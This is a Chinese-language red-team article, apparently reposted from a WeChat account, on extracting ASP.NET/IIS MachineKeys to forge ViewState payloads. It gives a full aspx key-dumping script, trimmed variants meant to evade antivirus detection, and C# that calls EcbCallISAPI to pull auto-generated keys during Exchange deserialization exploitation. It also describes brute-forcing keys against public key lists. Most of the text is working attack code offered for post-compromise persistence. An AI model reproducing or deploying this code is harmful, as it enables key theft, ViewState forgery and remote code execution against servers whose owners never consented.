0x00 前言
IIS 的 MachineKey 通常是记录在网站目录下的 web.config
目录下。如果是由运行时自动生成的,则需要通过脚本或者程序执行来获取。当然,还有另一种情况:如果在安装时,默认存在指定的 MachineKey,那么可以通过收集 MachineKey,进行爆破,有概率匹配得上。
本文将介绍 3 种方法来获取 MachineKey:
-
1. 在拥有权限的情况下,通过 Web 环境下获取 Key(即使用 aspx 脚本)。
-
2. 在拥有权限的情况下,通过执行程序,调用
EcbCallISAPI
获取 Key。 -
3. 在没有权限的情况下,尝试收集 Key 进行枚举(工具已经编写完成)。
由于多数情况下,ViewState 是经常用于维权,因此第一种方法在之前是一直用着的,但会存在被杀的情况,因此这里也给出一个解决方案。而第二种方法,则较为适用于存在反序列化漏洞时使用。第三种方法则是纯运气。
PS:可以上传 web.config 时直接传呗
0x01 Web 环境下获取 Key
下面是原版本的获取脚本
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void GetAutoMachineKeys()
{
var netVersion = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\", "Version", Microsoft.Win32.RegistryValueKind.ExpandString);
if(netVersion!=null)
Response.Write("<b>NetVersion: </b>" + netVersion);
Response.Write("<br/><hr/>");
// ==========================================================================
var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
Response.Write("<b>ValidationKey:</b> "+config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>ValidationAlg:</b> "+ config.Validation);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionAlg:</b> "+ config.Decryption);
Response.Write("<br/>");
Response.Write("<b>CompatibilityMode:</b> "+config.CompatibilityMode);
Response.Write("<br/><hr/>");
// ==========================================================================
var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(
typeMachineKeyMasterKeyProvider.FullName, false,
System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic,
null, new object[] { config, null, null, null, null }, null, null);
var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
// ==========================================================================
Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
int validationKeySize = 64;
int decryptionKeySize = 24;
byte[] validationKeyAuto = new byte[validationKeySize];
byte[] decryptionKeyAuto = new byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
string appName = HttpRuntime.AppDomainAppVirtualPath;
string appId = HttpRuntime.AppDomainAppId;
Response.Write("<br/>");
Response.Write("<b>appName:</b> "+appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b> "+appId);
Response.Write("<br/>");
Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
_decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray();
_decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
// ==========================================================================
Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
Response.Write("<br/>");
Response.Write("<b>validationAlg:</b> "+config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b> "+BitConverter.ToString(_validationKey).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b> "+config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b> "+BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
}
public void Page_load()
{
Response.ContentEncoding = System.Text.Encoding.Default;
Response.Write("<p style='color:#ff0000;text-align:center;'>获取 .NET 框架的机器密钥</p>");
Response.Write("<p>1. 本程序仅供实验学习 ASP.NET ViewState,请勿违法滥用!</p>");
Response.Write("<p>2. 适用场景:获取 .NET 框架权限后均适用!</p>");
Response.Write("<p>3. 公众号:RowTeam</p>");
Response.Write("<br/><hr/>");
GetAutoMachineKeys();
}
</script>
但是这个脚本往往会被杀得不行,原因在于:
-
• 注册表查询
-
• 调用
System.Reflection.Assembly.Load
如果 CompatibilityMode: Framework20SP1
,那么我们直接调过这个步骤,直接使用下面的代码获取输出即可:
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
string validationKey = BitConverter.ToString(autogenKeys, 0, 64).Replace("-", "");
string decryptionKey = BitConverter.ToString(autogenKeys, 64, 24).Replace("-", "");
Response.Write(validationKey);
Response.Write(decryptionKey);
将 autogenKeys
通过源脚本的代码进行还原即可。
如果 CompatibilityMode: Framework45
,则如下。
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Page Language="C#"%>
<%
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", BindingFlags.NonPublic | BindingFlags.Static).GetValue(null);
Type t = typeof(System.Web.Security.DefaultAuthenticationEventArgs).Assembly.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
ConstructorInfo ctor = t.GetConstructors(BindingFlags.Instance | BindingFlags.NonPublic)[0];
Type ckey = typeof(System.Web.Security.DefaultAuthenticationEventArgs).Assembly.GetType("System.Web.Security.Cryptography.CryptographicKey");
ConstructorInfo ckeyCtor = ckey.GetConstructors(BindingFlags.Instance | BindingFlags.Public)[0];
Object ckeyobj = ckeyCtor.Invoke(new object[] { autogenKeys });
object o = ctor.Invoke(new object[] { new MachineKeySection(), null, null, ckeyobj, null });
var encKey = t.GetMethod("GetEncryptionKey").Invoke(o, null);
byte[] encBytes = ckey.GetMethod("GetKeyMaterial").Invoke(encKey, null) as byte[];
var vldKey = t.GetMethod("GetValidationKey").Invoke(o, null);
byte[] vldBytes = ckey.GetMethod("GetKeyMaterial").Invoke(vldKey, null) as byte[];
string decryptionKey = BitConverter.ToString(encBytes);
decryptionKey = decryptionKey.Replace("-", "");
string validationKey = BitConverter.ToString(vldBytes);
validationKey = validationKey.Replace("-", "");
%>
<machineKey
validationKey="<%=validationKey%>"
decryptionKey="<%=decryptionKey%>"
/>
0x02 非 Web 环境下获取 Key
写这个小节的原因是:在一次项目中,对 Exchange 进行反序列化漏洞利用中,无法落地 aspx 文件获取 Key,因此必要时候需要执行 exe 读取 web.config 文件。那么如果是自动生成的 Key,在 web.config 中是没有记录的,因此,需要获取自动生成的 Key。为了以防万一,还需要获取 web.config 的内容,但获取 web.config 的就自己写吧。
由于 HttpApplication
是通过从 webengine4.dll
中调用 SetAutogenKeys()
的本机方法来获取其密钥。我们也可以自己调用 DLL。但我们需要知道的应用程序路径是什么。下面是获取 20sp1的 key 代码:
[DllImport(@"C:WindowsMicrosoft.NETFrameworkv4.0.30319webengine4.dll")]
internal static extern int EcbCallISAPI(IntPtr pECB, int iFunction, byte[] bufferIn, int sizeIn, byte[] bufferOut, int sizeOut);
void Main()
{
string appPath = "/owa";
byte[] genKeys = new byte[1024];
byte[] autogenKeys = new byte[1024];
int res = EcbCallISAPI(IntPtr.Zero, 4, genKeys, genKeys.Length, autogenKeys, autogenKeys.Length);
if (res == 1) {
// Same as above
int validationKeySize = 64;
int decryptionKeySize = 24;
byte[] validationKey = new byte[validationKeySize];
byte[] decryptionKey = new byte[decryptionKeySize];
Buffer.BlockCopy(autogenKeys, 0, validationKey, 0, validationKeySize);
Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKey, 0, decryptionKeySize);
int pathHash = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appPath);
validationKey[0] = (byte)(pathHash & 0xff);
validationKey[1] = (byte)((pathHash & 0xff00) >> 8);
validationKey[2] = (byte)((pathHash & 0xff0000) >> 16);
validationKey[3] = (byte)((pathHash & 0xff000000) >> 24);
decryptionKey[0] = (byte)(pathHash & 0xff);
decryptionKey[1] = (byte)((pathHash & 0xff00) >> 8);
decryptionKey[2] = (byte)((pathHash & 0xff0000) >> 16);
decryptionKey[3] = (byte)((pathHash & 0xff000000) >> 24);
Console.WriteLine("DecryptionKey: {0}", decryptionKey.Aggregate(new StringBuilder(), (acc, c) => acc.AppendFormat("{0:x2}", c), acc => acc.ToString()));
Console.WriteLine("ValidationKey: {0}", validationKey.Aggregate(new StringBuilder(), (acc, c) => acc.AppendFormat("{0:x2}", c), acc => acc.ToString()));
}
}
0x03 枚举 Key
该功能已经集成到 SharpViewStateKing 中。该模块的整体思路如下:
所有的序列化数据,默认情况下都是 ViewState = Base64(data + hash),因此对所有的签名算法及对应的 hash 长度,对 ViewState 将 data 和 hash 进行拆分。 然后使用 key 对 data 进行签名,比较两个签名是否一致即可得到 key 和签名算法。
这也是 AspDotNetWrapper 的整体思路,它解决了基于 CompatibilityMode = Framework20SP1 的加密 SHA 系列校验,所以实际上它是不完善的,因此以下场景无法使用:
-
1. 签名算法是 MD5时。
-
2. 强制加密时。
-
3. CompatibilityMode = Framework45 时。
还好我和小伙伴在编写 SharpViewStateKing 时对原理进行了研究,才发现实际情况没有这么简单。所以啊,工具选用不对,是会错失一些机会的。SharpViewStateKing 目前已经解决了上面的 4 个场景。 这里就有疑问了,Key 哪里来的?你可以在 Github 上搜索公开的:
搜索条件:
https://github.com/search?q=validationKey%3D+path%3A*.config&type=code
海子哥的:
https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState.txt
AspDotNetWrapper的:
https://github.com/NotSoSecure/Blacklist3r/blob/master/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt
-
• MD5 场景
-
• 强制加密场景
-
• NET45 场景
原文始发于微信公众号(RowTeam):【ViewState 指北】获取 MachineKey
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论